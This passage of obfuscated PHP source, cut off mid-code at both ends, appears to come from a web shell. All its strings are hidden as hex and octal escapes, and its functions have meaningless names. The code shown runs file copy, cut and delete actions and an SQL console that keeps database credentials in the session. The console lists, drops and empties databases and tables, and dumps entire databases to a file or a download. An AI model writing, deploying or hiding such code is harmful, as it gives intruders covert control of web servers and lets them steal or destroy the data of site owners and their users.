(@isset($use_buffer) && $use_buffer && @isset($bcopy) && @isset($bcut) && @is_array($bcopy) && @is_array($bcut)) { switch ($action) { case "\x62\x63\157\x70\x79": if (!@in_array($dfls, $bcopy)) { z1l($dfls, "\x62\143\x6f\x70\x79"); } break; case "\142\143\x75\164": if (!@in_array($dfls, $bcut)) { z1l($dfls, "\x62\143\x75\164"); } break; case "\x62\165\156\x73\x65\164\x63\x6f\x70\171": if (@in_array($dfls, $bcopy)) { z1l($dfls, "\142\143\x6f\160\171"); } break; case "\x62\x75\x6e\163\x65\x74\x63\165\x74": if (@in_array($dfls, $bcut)) { z1l($dfls, "\x62\143\x75\164"); } break; case "\142\165\x6e\x73\x65\164\x61\154\x6c": if (@in_array($dfls, $bcopy)) { z1l($dfls, "\x62\x63\157\x70\171"); } elseif (@in_array($dfls, $bcut)) { z1l($dfls, "\142\x63\x75\164"); } break; default: break; } } switch ($action) { case "\144\x65\x6c\x65\164\x65": if (z4q($dfls)) { z8d($dfls); } break; default: break; } } if (@isset($use_buffer) && $use_buffer) { z1w(); } } } goto vbtGe; sUB3p: function z1y($d, $t) { return z5c(array("\141\143\x74" => "\144", "\144" => $d), z4a("\x64\x74", array("\143\150\144\151\x72" => z9s("\x34\62\65")), "\x33") . z8v("\x26\162\x61\161\165\x6f\x3b", "\66"), $t); } goto PuA0W; vLr7u: if ($act == "\163\x71\154") { $hideconnect = 0; $hmsg = ''; if (@isset($sql_act) && $sql_act == "\154\157\x67\157\146\x66") { z0u("\x73\x71\154\137\163\x65\x72\166\x65\x72"); z0u("\x73\161\x6c\137\165\163\x65\x72"); z0u("\163\x71\x6c\137\x70\141\163\x73"); z0u("\163\x71\x6c\137\x70\157\162\x74"); z0u("\163\x71\154\x5f\x65\x6e\x67\151\156\x65"); z0u("\x73\161\x6c\x5f\163\x65\x73\x73\151\157\156"); z0u("\x73\161\154\137\x73\157\x72\164"); } $sql_session = 0; if (@isset($_SESSION["\163\x71\154\137\x73\x65\163\163\151\157\x6e"])) { if (!@isset($sql_refresh) || !$sql_refresh) { $sql_server = $_SESSION["\x73\161\154\137\x73\145\162\166\145\162"]; $sql_user = $_SESSION["\163\161\x6c\137\165\x73\x65\x72"]; $sql_pass = $_SESSION["\163\x71\x6c\x5f\x70\x61\163\163"]; $sql_port = $_SESSION["\x73\x71\154\x5f\160\157\162\164"]; $sql_engine = $_SESSION["\163\161\154\137\x65\156\x67\x69\156\145"]; if (!@isset($sql_sort)) { $sql_sort = $_SESSION["\163\161\x6c\137\x73\x6f\x72\x74"]; } $sql_session = 1; } else { z0u("\x73\161\x6c\x5f\163\145\x72\166\x65\x72"); z0u("\163\161\x6c\137\165\163\145\x72"); z0u("\x73\161\x6c\137\x70\141\x73\163"); z0u("\163\161\154\137\160\157\x72\164"); z0u("\163\x71\154\x5f\145\x6e\x67\x69\x6e\x65"); z0u("\x73\x71\x6c\137\x73\x65\x73\163\x69\157\156"); z0u("\163\x71\x6c\137\x73\157\162\x74"); } } if (!@empty($sql_server) && !@empty($sql_port) && !@empty($sql_user) && @isset($sql_pass) && !@empty($sql_engine)) { if (!@isset($sql_db)) { $sql_db = ''; } $sql = new my_sql(); $sql->db = $sql_engine; $sql->host = $sql_server; $sql->port = $sql_port; $sql->user = $sql_user; $sql->pass = $sql_pass; $sql->base = $sql_db; if ($sql->connect()) { $hideconnect = 1; if (!@isset($sql_sort)) { $sql_sort = "\60\x61"; } $_SESSION["\163\161\x6c\x5f\x73\145\162\166\145\x72"] = $sql_server; $_SESSION["\163\x71\x6c\137\x75\163\145\x72"] = $sql_user; $_SESSION["\163\x71\154\137\160\141\x73\163"] = $sql_pass; $_SESSION["\163\x71\x6c\x5f\160\x6f\162\x74"] = $sql_port; $_SESSION["\x73\x71\x6c\x5f\145\x6e\x67\151\156\x65"] = $sql_engine; $_SESSION["\163\x71\154\x5f\163\145\x73\163\151\x6f\x6e"] = 1; $_SESSION["\163\161\x6c\137\x73\157\162\164"] = $sql_sort; $hideconnect = 1; $db_actions = array("\163\145\x6c\145\143\164" => "\x53\145\154\145\x63\x74", "\144\165\x6d\x70" => "\104\165\x6d\x70", "\x64\162\157\x70" => "\x44\162\x6f\160"); $table_actions = array("\142\162\157\167\163\145" => "\102\162\157\167\163\x65", "\x64\x75\155\160" => "\104\x75\x6d\160", "\x64\x72\157\x70" => "\x44\162\x6f\160", "\145\x6d\x70\x74\x79" => "\105\x6d\160\x74\x79", "\151\x6e\163\x65\162\164" => "\x49\x6e\163\145\x72\x74"); echo z2b(z9m("\x32") . z7i(z6x(z5c(array("\141\143\x74" => "\x73\161\154", "\x64", "\x73\161\x6c\137\163\145\x72\166\145\x72", "\x73\x71\154\137\165\x73\145\162", "\163\161\x6c\137\160\141\x73\163", "\163\161\154\137\160\157\x72\x74", "\163\161\154\x5f\x65\x6e\x67\x69\x6e\145"), z8v(z9s("\x33\x35\x32"), !@isset($sql_act) || !@in_array($sql_act, array("\161\x75\145\162\x79", "\145\x6d\x61\151\154\x73", "\x73\x65\x72\166\145\x72\x73\x74\x61\164\x75\163", "\x73\x65\x72\166\145\162\x76\141\162\x73", "\x70\x72\x6f\143\x65\x73\163\x65\x73")) ? "\61\x32" : "\x31\64")) . z5c(array("\141\x63\164" => "\163\x71\154", "\144", "\x73\161\x6c\137\163\x65\x72\166\145\x72", "\x73\161\154\137\x75\163\145\162", "\x73\161\x6c\137\160\141\163\163", "\163\x71\x6c\137\160\157\162\164", "\163\161\154\137\145\x6e\x67\x69\156\145", "\x73\x71\154\137\x61\143\x74" => "\x71\x75\x65\162\171", "\x73\x71\154\137\144\142"), z8v(z9s("\63\65\x33"), @isset($sql_act) && $sql_act == "\x71\x75\x65\162\171" ? "\x31\62" : "\x31\64")) . z5c(array("\x61\x63\x74" => "\x73\161\154", "\144", "\163\x71\x6c\137\163\x65\x72\x76\x65\x72", "\163\161\154\x5f\165\x73\145\162", "\x73\x71\x6c\x5f\x70\x61\163\x73", "\163\161\x6c\137\160\x6f\162\164", "\163\161\154\x5f\x65\x6e\x67\151\x6e\x65", "\x73\161\x6c\137\x61\143\164" => "\145\x6d\141\151\x6c\x73", "\163\161\x6c\x5f\144\x62"), z8v(z9s("\x33\65\x34"), @isset($sql_act) && $sql_act == "\x65\155\x61\151\154\x73" ? "\x31\x32" : "\x31\64")) . z5c(array("\x61\x63\164" => "\163\x71\154", "\144", "\x73\161\x6c\x5f\163\145\x72\x76\145\162", "\163\161\154\x5f\x75\x73\145\162", "\x73\x71\x6c\137\x70\x61\163\x73", "\x73\161\154\137\x70\x6f\162\x74", "\163\x71\x6c\137\145\156\x67\151\156\145", "\x73\161\x6c\137\141\x63\164" => "\163\145\x72\166\145\162\163\164\141\x74\165\x73"), z8v(z9s("\63\65\x35"), @isset($sql_act) && $sql_act == "\x73\x65\162\166\x65\x72\163\x74\x61\164\165\163" ? "\61\62" : "\61\x34")) . z5c(array("\x61\143\164" => "\x73\161\x6c", "\x64", "\163\x71\x6c\x5f\163\x65\x72\166\x65\162", "\x73\161\154\x5f\x75\x73\x65\162", "\163\x71\x6c\x5f\160\141\x73\x73", "\x73\161\154\137\x70\157\162\164", "\163\161\154\137\x65\156\147\151\x6e\x65", "\x73\x71\154\x5f\x61\143\x74" => "\x73\145\162\166\x65\x72\x76\x61\162\x73"), z8v(z9s("\63\65\66"), @isset($sql_act) && $sql_act == "\163\145\x72\166\x65\162\x76\141\162\163" ? "\x31\x32" : "\61\64")) . z5c(array("\141\143\x74" => "\x73\x71\154", "\x64", "\x73\161\154\x5f\163\145\162\166\x65\x72", "\x73\x71\154\x5f\165\163\145\x72", "\163\161\154\x5f\160\141\163\x73", "\163\x71\x6c\137\160\157\x72\x74", "\x73\161\154\x5f\145\x6e\147\151\156\x65", "\163\x71\x6c\x5f\x61\x63\164" => "\x70\x72\157\143\x65\163\x73\x65\163"), z8v(z9s("\x33\x35\67"), @isset($sql_act) && $sql_act == "\x70\x72\157\x63\x65\163\163\x65\x73" ? "\61\62" : "\61\64")) . z5c(array("\141\143\164" => "\163\161\x6c", "\x64", "\163\161\154\x5f\x61\143\x74" => "\x6c\157\147\157\146\146"), z8v(z9s("\63\65\x38"), "\x31\x34")), '')) . z10w()); if ($sql_engine == "\115\x79\x53\x51\114") { if (!@isset($sql_act)) { if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $sql_act = "\144\142\137\x61\x63\164"; $db_act = "\x73\x65\x6c\145\143\x74"; } else { $sql_act = "\x73\150\x6f\x77\144\x62"; $sql_db = ''; $sql->base = ''; } } else { $sql_act = "\163\x68\x6f\x77\144\x62"; } } $dbs = $sql->list_dbs(); $db_list = array('' => z9s("\x33\66\67", @count($dbs))); foreach ($dbs as $k => $v) { $db_list[$k] = $v; } if ($sql_act == "\x64\142\137\141\143\x74" && @isset($db_act) && !@empty($sql_db)) { switch ($db_act) { case "\x64\165\155\160": $sql_act = "\x64\165\155\x70"; break; case "\144\162\157\x70": if (@isset($drop_confirm) && $drop_confirm) { $sql->query("\104\x52\117\x50\x20\104\101\x54\101\102\101\123\105\40" . $sql_db . "\x3b"); $sql_act = "\x73\150\x6f\x77\x64\142"; $sql_db = ''; } else { $sql_act = "\144\162\157\x70\x64\142"; } break; } } elseif ($sql_act == "\164\141\x62\x6c\x65\137\x61\x63\x74" && @isset($table_act) && !@empty($sel_table)) { switch ($table_act) { case "\144\165\x6d\160": $sql_act = "\144\x75\155\160"; break; case "\144\162\157\160": if (@isset($drop_confirm) && $drop_confirm) { $sql->base = $sql_db; if ($sql->select_db()) { $sql->query("\104\122\117\x50\40\124\x41\102\114\105\x20" . $sel_table . "\73"); } $sel_table = ''; $sql_act = "\144\x62\x5f\x61\x63\x74"; $db_act = "\x73\x65\154\145\143\x74"; } else { $sql_act = "\x64\x72\x6f\x70\x74\141\142\154\x65"; } break; case "\145\x6d\160\164\171": if (@isset($empty_confirm) && $empty_confirm) { $sql->base = $sql_db; if ($sql->select_db()) { $sql->query("\104\105\x4c\x45\124\x45\40\x46\122\x4f\x4d\x20" . $sel_table . "\73"); } $sql_act = "\x74\141\x62\x6c\x65\137\x61\x63\x74"; $table_act = "\142\x72\x6f\x77\163\145"; } else { $sql_act = "\145\155\160\164\x79"; } break; case "\x69\x6e\163\x65\x72\164": break; case "\144\x65\154\145\x74\x65": $sql->base = $sql_db; if ($sql->select_db()) { $sql->query("\x44\105\114\x45\124\105\x20\x46\122\117\115\40" . $sel_table . "\40\x57\x48\105\122\x45\x20" . $sql_tbl_insert_q . "\40\x4c\111\115\x49\x54\x20\61\73"); } $table_act = "\x62\162\157\167\x73\x65"; break; } } if (!@in_array($sql_act, array("\x73\150\157\x77\144\x62", "\161\x75\x65\x72\x79", "\x73\x65\x72\x76\145\162\x73\164\141\x74\x75\163", "\x73\x65\162\x76\145\x72\x76\x61\162\163", "\x70\x72\x6f\143\145\x73\163\145\163", "\145\x6d\141\x69\x6c\163"))) { $db_submit_acts = $table_submit_acts = ''; foreach ($db_actions as $dk => $dv) { $db_submit_acts .= z6p($dk, $dv, "\x37"); } foreach ($table_actions as $tk => $tv) { $table_submit_acts .= z5c(array("\141\143\x74" => "\x73\x71\x6c", "\x64", "\x73\161\154\x5f\163\145\x72\166\145\162", "\x73\x71\154\137\165\x73\145\x72", "\163\x71\154\137\160\x61\x73\163", "\x73\x71\x6c\137\160\157\x72\x74", "\x73\161\154\x5f\145\156\147\151\156\145", "\163\x71\x6c\137\141\143\x74", "\164\x61\x62\x6c\145\137\141\x63\x74" => $tk, "\x73\x71\x6c\137\144\142", "\x73\145\154\137\x74\x61\142\x6c\145"), z6p($tk, $tv, "\x37")); } $table_submit_acts = z10e(z7i(z9j($table_submit_acts)), "\x32"); $db_table = z10e(z7i(z6x(z8e(z9s("\x33\x36\64")) . z5c(array("\x61\x63\164" => "\163\161\x6c", "\144", "\163\161\154\137\x73\145\x72\166\x65\x72", "\x73\x71\x6c\137\165\x73\x65\x72", "\x73\161\154\137\160\141\x73\x73", "\x73\161\154\137\x70\157\162\x74", "\x73\161\154\137\x65\156\x67\x69\156\x65", "\x73\161\x6c\137\141\143\x74" => "\144\142\137\141\x63\x74"), z4a("\163\161\x6c\x5f\144\142", $db_list, "\60", 1) . z4a("\144\142\137\x61\x63\164", $db_actions, "\61") . z8v(z9s("\71\x32"), "\67")))), "\62"); if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $table_list = array('' => "\55"); $sql->query("\x53\110\x4f\127\40\x54\x41\x42\114\x45\123\40\x46\122\x4f\115\40" . $sql_db . "\x3b"); if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $rk => $rv) { $table_list[$rv] = $rv . "\40\x28" . $sql->count_rows($rv) . "\x29"; } } } $table_table = z10e(z7i(z6x(z8e(z9s("\63\x36\65")) . z5c(array("\x61\143\x74" => "\x73\161\x6c", "\144", "\x73\x71\154\137\x73\145\162\166\145\162", "\x73\x71\x6c\x5f\x75\x73\145\162", "\163\x71\154\137\160\141\x73\x73", "\163\161\154\x5f\160\157\162\x74", "\x73\x71\154\x5f\x65\x6e\x67\x69\x6e\145", "\x73\x71\154\x5f\x61\x63\x74" => "\164\141\142\154\145\137\x61\x63\164", "\163\x71\154\137\144\x62"), z4a("\x73\x65\154\x5f\164\x61\x62\154\x65", $table_list, "\60", 1) . z4a("\164\x61\142\154\x65\137\141\143\x74", $table_actions, "\61") . z8v(z9s("\71\x32"), "\67")))), "\x32"); } } echo z2b(@isset($table_table) ? array($db_table, $table_table) : $db_table); if ($sql_act == "\x64\162\157\160\x64\142") { echo z6d(); echo z10e(z7i(z6x(z8e(z9s("\64\x33\x37", $sql_db)) . z5c(array("\x61\143\x74" => "\163\x71\x6c", "\x64", "\163\161\x6c\x5f\x73\x65\162\166\145\162", "\x73\x71\154\x5f\165\163\x65\x72", "\163\161\x6c\x5f\x70\x61\163\x73", "\x73\x71\x6c\137\x70\157\x72\x74", "\163\x71\x6c\x5f\145\x6e\x67\x69\x6e\145", "\163\161\x6c\x5f\x61\143\x74" => "\144\x62\x5f\x61\143\x74", "\x64\x62\137\141\x63\164" => "\x64\162\x6f\x70", "\163\161\x6c\x5f\144\142", "\144\162\157\x70\137\x63\x6f\x6e\146\151\x72\x6d" => "\x31"), z8v(z9s("\62\61"), "\x37")) . z9c() . z5c($back_form_actions, z8v(z9s("\x32\62"), "\67")))), "\x32"); echo z6d(); } elseif ($sql_act == "\x64\162\x6f\160\164\x61\x62\x6c\x65") { echo z6d(); echo z10e(z7i(z6x(z8e(z9s("\64\x33\70", $sel_table)) . z5c(array("\141\x63\164" => "\x73\x71\154", "\x64", "\163\161\154\x5f\163\145\x72\166\145\x72", "\163\x71\154\x5f\165\x73\x65\162", "\x73\x71\154\x5f\x70\x61\x73\163", "\163\161\x6c\137\x70\157\162\164", "\x73\161\154\137\x65\x6e\147\151\x6e\x65", "\163\161\154\x5f\x61\x63\164" => "\164\x61\x62\x6c\x65\137\x61\143\x74", "\164\141\x62\x6c\x65\x5f\x61\x63\164" => "\144\x72\x6f\160", "\x73\x71\154\137\144\x62", "\163\x65\154\137\x74\x61\x62\154\145", "\144\x72\157\160\137\143\x6f\x6e\146\x69\162\155" => "\x31"), z8v(z9s("\62\x31"), "\67")) . z9c() . z5c($back_form_actions, z8v(z9s("\62\x32"), "\x37")))), "\x32"); echo z6d(); } elseif ($sql_act == "\145\155\x70\x74\x79") { echo z6d(); echo z10e(z7i(z6x(z8e(z9s("\x34\63\x39", $sel_table)) . z5c(array("\141\x63\x74" => "\x73\x71\x6c", "\x64", "\x73\161\154\137\x73\x65\162\166\x65\162", "\163\161\154\137\165\163\145\x72", "\x73\x71\154\137\160\141\x73\163", "\163\161\154\x5f\160\157\x72\x74", "\163\161\x6c\x5f\x65\x6e\147\151\156\x65", "\x73\161\154\x5f\141\x63\164" => "\164\141\142\154\x65\x5f\x61\143\164", "\164\141\x62\154\x65\x5f\141\143\x74" => "\145\155\160\164\x79", "\163\161\x6c\x5f\x64\142", "\x73\145\154\x5f\x74\141\142\x6c\145", "\145\155\x70\x74\171\x5f\143\157\156\x66\151\162\155" => "\61"), z8v(z9s("\x32\x31"), "\x37")) . z9c() . z5c($back_form_actions, z8v(z9s("\x32\62"), "\67")))), "\62"); echo z6d(); } elseif ($sql_act == "\144\165\155\160") { if (!@isset($dump_filename)) { $dump_filename = $tempdir . "\144\165\155\x70\137" . @getenv("\x53\105\122\x56\x45\x52\x5f\x4e\101\115\105") . "\x5f\144\x62\x5f" . @date("\144\x2d\x6d\55\x59\x5f\x48\x2d\151\x2d\163") . "\x2e\x73\161\154"; } if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $table_list = array(); $sql->query("\x53\110\117\127\40\x54\101\x42\114\105\123\40\106\122\117\115\40" . $sql_db . "\x3b"); if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $rk => $rv) { $table_list[] = $rv; } } } } } if (!@isset($sql_tables) || @empty($sql_tables)) { if (@isset($sel_table) && !@empty($sel_table)) { $sql_tables = $sel_table; } else { $sql_tables = @count($table_list) > 0 ? @implode("\54", $table_list) : ''; } } elseif (@isset($table_list) && @is_array($table_list)) { $tmp_tables = @explode("\x2c", $sql_tables); $sql_tables = ''; foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); if (@in_array($tmp_table, $table_list)) { $sql_tables .= $tmp_table . "\54"; } else { break; } } if (@empty($sql_tables)) { $sql_tables = @implode("\x2c", $table_list); } } echo z2b(z9s("\64\x34\x30")); echo z9m("\x32") . z5c(array("\x61\x63\164" => "\163\161\154", "\144", "\163\161\154\137\x73\x65\162\166\x65\x72", "\x73\161\154\x5f\x75\163\145\162", "\x73\x71\154\137\x70\141\x73\x73", "\x73\x71\x6c\x5f\160\x6f\162\x74", "\163\161\x6c\137\x65\156\147\x69\156\145", "\163\161\x6c\137\141\x63\164" => "\144\165\x6d\160", "\144\x75\x6d\160\137\143\x6f\156\x66\x69\162\155" => "\61"), z5n() . z7i(z5t(z9s("\x34\64\x31")) . z9j(z4a("\163\161\154\137\x64\x62", $db_list, "\67", 1))) . z7i(z5t(z9s("\x34\x34\62")) . z9j(z5w("\163\161\154\x5f\164\x61\142\154\x65\163", "\x35") . (@isset($sql_tables) ? @htmlspecialchars($sql_tables) : '') . z5q())) . z7i(z5t(z9s("\64\64\x33")) . z9j(z5u("\144\x75\155\x70\x5f\x66\151\154\x65\x6e\141\155\145", $dump_filename, "\67"))) . z7i(z5t(z9c()) . z9j(z5y("\163\161\x6c\137\163\x61\x76\145\x32\x66\x69\x6c\145", z9s("\x34\64\64"), "\x73\161\x6c\137\163\x61\x76\x65\x32\x66\x69\154\x65") . z9c() . z5y("\x73\x71\x6c\x5f\144\x6f\167\x6e\154\157\x61\144", z9s("\64\64\65"), "\163\161\154\x5f\x64\157\167\156\154\157\x61\144"))) . z7i(z5t(z9c()) . z9j(z8v(z9s("\x34\x34\x36"), "\67"))) . z5n()) . z10w(); if (@isset($dump_confirm) && $dump_confirm) { $fp = 0; if (@isset($sql_save2file) && $sql_save2file == "\61" && @isset($dump_filename) && !@empty($dump_filename)) { if (z4q($dump_filename)) { @unlink($dump_filename); } $fp = @fopen($dump_filename, "\x61"); } $dumping_arr = array(); $tmp_tables = @explode("\54", $sql_tables); foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); $dumping_arr[] = $tmp_table; } $dumping_arr = @array_unique($dumping_arr); $sql->base = $sql_db; if (!$sql->select_db()) { echo z2b(z9s("\x34\64\67")); } elseif (@count($dumping_arr) < 1) { echo z2b(z9s("\x34\64\70")); } else { if (@isset($sql_download) && $sql_download == "\x31") { @ob_clean(); @header("\x43\x6f\x6e\x74\145\156\x74\x2d\164\x79\160\x65\72\x20\141\160\x70\154\x69\x63\141\164\151\157\x6e\x2f\157\143\x74\145\164\55\163\x74\162\145\x61\155"); @header("\103\157\156\164\145\156\164\55\144\x69\x73\160\x6f\x73\151\164\x69\157\156\x3a\40\141\x74\164\x61\x63\x68\155\x65\x6e\x74\73\40\146\151\154\x65\x6e\x61\x6d\145\75\x22" . @basename($dump_filename) . "\42\x3b"); foreach ($dumping_arr as $dump_table) { if ($sql->dump($dump_table)) { foreach ($sql->dump as $v) { echo $v . "\xd\12"; } } } die; } if (!@isset($sql_save2file) || $sql_save2file != "\61") { echo z9m("\62") . z6g() . z6w() . z5w('', "\x31"); foreach ($dumping_arr as $dump_table) { if ($sql->dump($dump_table)) { foreach ($sql->dump as $v) { echo @htmlspecialchars($v) . "\xd\xa"; } } } echo z5q() . z7g() . z7u() . z10w() . z6d(); } elseif ($fp) { foreach ($dumping_arr as $dump_table) { if ($sql->dump($dump_table)) { foreach ($sql->dump as $v) { if (!@fwrite($fp, $v . "\xd\12")) { @fputs($fp, $v . "\15\xa"); } } } } @fclose($fp); if (z4q($dump_filename)) { echo z2b(z9s("\x34\64\x39", $dump_filename)); } else { echo z2b(z9s("\64\x35\60")); } } else { echo z2b(z9s("\x34\65\x30")); } } } } if ($sql_act == "\164\x61\142\154\145\x5f\141\x63\164" && @isset($table_act) && ($table_act == "\x62\x72\x6f\x77\x73\145" || $table_act == "\151\x6e\163\145\x72\164") && @isset($sel_table) && !@empty($sel_table)) { $crows = $sql->count_rows($sel_table); $sql->parse_fields($sel_table); $cfields = $sql->num_fields; $fields = $sql->columns; if ($table_act == "\151\x6e\x73\145\x72\x74") { if (@isset($sql_tbl_insert_radio) && !@empty($sql_tbl_insert_radio)) { if ($sql_tbl_insert_radio == 1) { $keys = ''; $akeys = @array_keys($sql_tbl_insert); foreach ($akeys as $v) { $keys .= "\140" . @addslashes($v) . "\140\x2c\x20"; } if (!@empty($keys)) { $keys = @substr($keys, 0, @strlen($keys) - 2); } $values = ''; $i = 0; foreach (@array_values($sql_tbl_insert) as $v) { if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) { $values .= $funct . "\x20\50"; } $values .= "\47" . @addslashes($v) . "\47"; if ($funct) { $values .= "\x29"; } $values .= "\x2c\x20"; $i++; } if (!@empty($values)) { $values = @substr($values, 0, @strlen($values) - 2); } $sql->query("\x49\116\x53\105\x52\x54\x20\x49\x4e\x54\117\40\x60" . $sel_table . "\x60\40\x28\40" . $keys . "\x20\51\x20\126\x41\114\125\x45\123\40\50\x20" . $values . "\x20\x29\73"); } elseif ($sql_tbl_insert_radio == 2) { $set = z1r($sql_tbl_insert, "\x2c\40", $sql_tbl_insert_functs); $sql->query("\125\120\104\x41\x54\105\x20\x60" . $sel_table . "\x60\x20\123\x45\124\40" . $set . "\40\127\110\x45\122\105\40" . $sql_tbl_insert_q . "\x20\114\x49\x4d\x49\x54\40\61\73"); } $table_act = "\x62\x72\x6f\x77\x73\x65"; } else { echo z2b(array("\x49\116\123\105\x52\x54\x20\111\x4e\x54\117\x20\x54\x41\102\114\x45\x20" . $sel_table), "\x31"); if (!@isset($sql_tbl_insert) || !@is_array($sql_tbl_insert)) { $sql_tbl_insert = array(); } if (!@empty($sql_tbl_insert_q)) { $sql->query("\123\105\114\105\x43\x54\40\52\x20\x46\122\x4f\115\40\140" . $sel_table . "\x60\40\x57\x48\x45\x52\x45\x20" . $sql_tbl_insert_q . "\x20\114\x49\x4d\x49\124\40\61\x3b"); $values = @mysql_fetch_assoc($sql->res); @mysql_free_result($sql->res); } else { $values = array(); } echo z9l() . z9b("\141\143\x74", "\163\161\x6c") . z9b("\x73\161\x6c\x5f\x73\x65\162\166\145\162") . z9b("\163\161\154\137\165\x73\145\162") . z9b("\163\x71\x6c\137\160\141\163\163") . z9b("\x73\161\154\137\160\157\162\164") . z9b("\163\161\154\x5f\145\x6e\x67\151\156\x65") . z9b("\144") . z9b("\x73\161\x6c\137\x61\143\164", "\x74\x61\x62\154\x65\137\141\x63\164") . z9b("\164\x61\x62\154\x65\x5f\x61\143\x74", "\151\x6e\163\145\162\164") . z9b("\163\x65\x6c\137\x74\141\142\154\145") . z9b("\x73\161\x6c\x5f\x64\x62") . z9b("\x73\161\154\x5f\x74\142\154\x5f\x69\x6e\x73\x65\x72\x74\x5f\x71") . z9m("\x32") . z7i(z9j("\106\151\145\x6c\144", "\61\63", "\62") . z9j("\x54\171\x70\x65", "\61\x33") . z9j("\106\x75\x6e\143\x74\151\157\156", "\61\63") . z9j("\126\x61\154\x75\145", "\61\x33", "\63")); $sql->query("\x53\110\117\127\40\106\x49\x45\x4c\x44\x53\40\x46\122\x4f\115\x20\x60" . $sel_table . "\140\73"); $sql->get_result(); for ($i = 0; $i < $sql->num_rows; $i++) { $field = $sql->rows[$i]; $name = $field["\106\x69\x65\x6c\x64"]; if (empty($sql_tbl_insert_q)) { $v = ''; } echo z9f(z9j(z8e(@htmlspecialchars($name)), "\x31\x34", "\x32") . z9j($field["\x54\x79\x70\x65"], "\61\x34") . z9j(z4a("\x73\161\154\137\x74\142\154\137\x69\156\x73\x65\162\x74\x5f\146\x75\x6e\x63\164\163\133" . @htmlspecialchars($name) . "\135", array('' => '', "\120\x41\123\123\x57\117\x52\x44" => "\120\x41\123\x53\x57\x4f\122\104", "\115\x44\x35" => "\x4d\104\65", "\x45\x4e\103\x52\131\120\124" => "\x45\x4e\103\122\131\x50\x54", "\101\123\x43\111\x49" => "\x41\123\x43\111\x49", "\103\x48\101\x52" => "\x43\x48\101\x52", "\x52\101\116\x44" => "\x52\x41\x4e\x44", "\114\101\123\x54\x5f\x49\116\123\x45\x52\x54\x5f\x49\104" => "\114\101\x53\124\x5f\111\x4e\x53\105\122\x54\137\111\x44", "\x43\117\125\x4e\x54" => "\x43\117\125\116\x54", "\101\x56\x47" => "\101\126\x47", "\123\125\115" => "\x53\125\x4d", "\x20" => "\55\x2d\x2d\55\x2d\55\x2d\55", "\x53\117\125\x4e\x44\x45\130" => "\123\x4f\x55\116\x44\105\x58", "\114\x43\x41\x53\x45" => "\x4c\103\101\x53\105", "\x55\103\x41\x53\105" => "\125\x43\x41\123\x45", "\x4e\117\127" => "\116\x4f\127", "\x43\125\122\x44\101\x54\x45" => "\103\x55\x52\104\x41\124\105", "\103\x55\122\x54\111\115\105" => "\103\x55\122\124\111\x4d\x45", "\106\122\117\115\x5f\104\x41\x59\123" => "\106\x52\117\x4d\x5f\x44\x41\x59\123", "\x46\122\117\115\137\125\x4e\x49\130\124\x49\115\105" => "\x46\122\117\x4d\x5f\x55\x4e\111\130\124\x49\115\x45", "\120\105\x52\111\117\x44\x5f\x41\x44\104" => "\x50\x45\x52\x49\117\104\x5f\101\x44\104", "\120\x45\x52\111\x4f\x44\137\x44\x49\106\x46" => "\x50\105\x52\111\x4f\104\137\104\x49\106\x46", "\x54\x4f\x5f\x44\x41\x59\x53" => "\124\117\x5f\x44\x41\131\123", "\125\x4e\111\x58\137\x54\111\115\x45\x53\124\x41\x4d\120" => "\x55\116\x49\130\137\124\111\115\105\x53\x54\101\115\x50", "\x55\x53\x45\122" => "\125\123\105\122", "\127\105\105\113\x44\101\131" => "\x57\x45\105\x4b\104\101\131", "\x43\x4f\x4e\x43\101\x54" => "\x43\x4f\116\x43\x41\124"), "\65"), "\x31\x34") . z9j(z6i("\163\x71\154\x5f\164\x62\154\x5f\x69\x6e\x73\x65\x72\164\x5b" . (@isset($name) ? @htmlspecialchars($name) : '') . "\x5d", @isset($values["{$name}"]) ? @htmlspecialchars($values["{$name}"]) : '', "\x37"), "\x31\64", "\63"), $i % 2 ? "\x30" : "\61"); } echo z10w(); $iradio = "\74\151\156\160\165\164\x20\x74\171\160\x65\75\x22\162\141\x64\x69\x6f\x22\x20\x69\x64\75\x22\151\x6e\x73\145\x72\x74\x22\40\163\x74\171\x6c\145\x3d\42\x76\145\x72\164\151\x63\141\x6c\55\141\154\x69\147\x6e\x3a\x20\x6d\x69\x64\144\x6c\145\x3b\x22\x20\156\x61\155\145\75\42\163\x71\154\137\164\x62\154\x5f\x69\x6e\163\x65\162\164\x5f\162\141\144\x69\157\42\40\166\141\x6c\165\x65\x3d\x22\61\x22" . (@empty($sql_tbl_insert_q) ? "\x20\143\x68\145\x63\x6b\x65\144" : '') . "\x3e\x3c\154\141\142\x65\x6c\40\x66\x6f\x72\75\42\151\156\x73\x65\x72\x74\42\76" . z9s("\64\60\65") . "\x3c\57\x6c\141\142\145\154\76"; if (!@empty($sql_tbl_insert_q)) { $iradio .= z9c() . z9s("\x34\x30\x36") . z9c() . "\74\151\156\x70\x75\164\40\x74\x79\x70\145\75\x22\162\x61\x64\x69\x6f\42\40\151\144\x3d\x22\163\141\x76\x65\42\x20\163\164\171\154\145\75\42\x76\145\162\x74\x69\143\141\x6c\x2d\x61\x6c\151\x67\156\72\40\x6d\x69\x64\x64\154\x65\x3b\x22\40\156\x61\x6d\145\75\42\x73\x71\x6c\137\164\142\x6c\137\151\156\163\145\x72\x74\137\162\x61\144\151\157\x22\40\166\141\x6c\x75\145\75\x22\62\42\40\143\150\x65\143\x6b\x65\144\76\x3c\154\x61\142\x65\154\40\x66\x6f\162\75\42\163\x61\166\145\42\x3e" . z9s("\x34\60\67") . "\74\x2f\154\x61\142\x65\154\x3e"; $iradio .= z9b("\163\161\x6c\137\164\x62\154\x5f\x69\x6e\x73\145\162\x74\x5f\x71", @htmlspecialchars($sql_tbl_insert_q)); } echo z2b($iradio . z9c("\63") . z8v(z9s("\64\60\70"), "\x37")); echo z9z(); } } if ($table_act == "\142\162\157\167\163\145") { if (!@isset($sql_from) || !@is_numeric($sql_from)) { $sql_from = 0; } if (!@isset($sql_limit) || !@is_numeric($sql_limit)) { $sql_limit = 50; } if (!@isset($sql_page) || 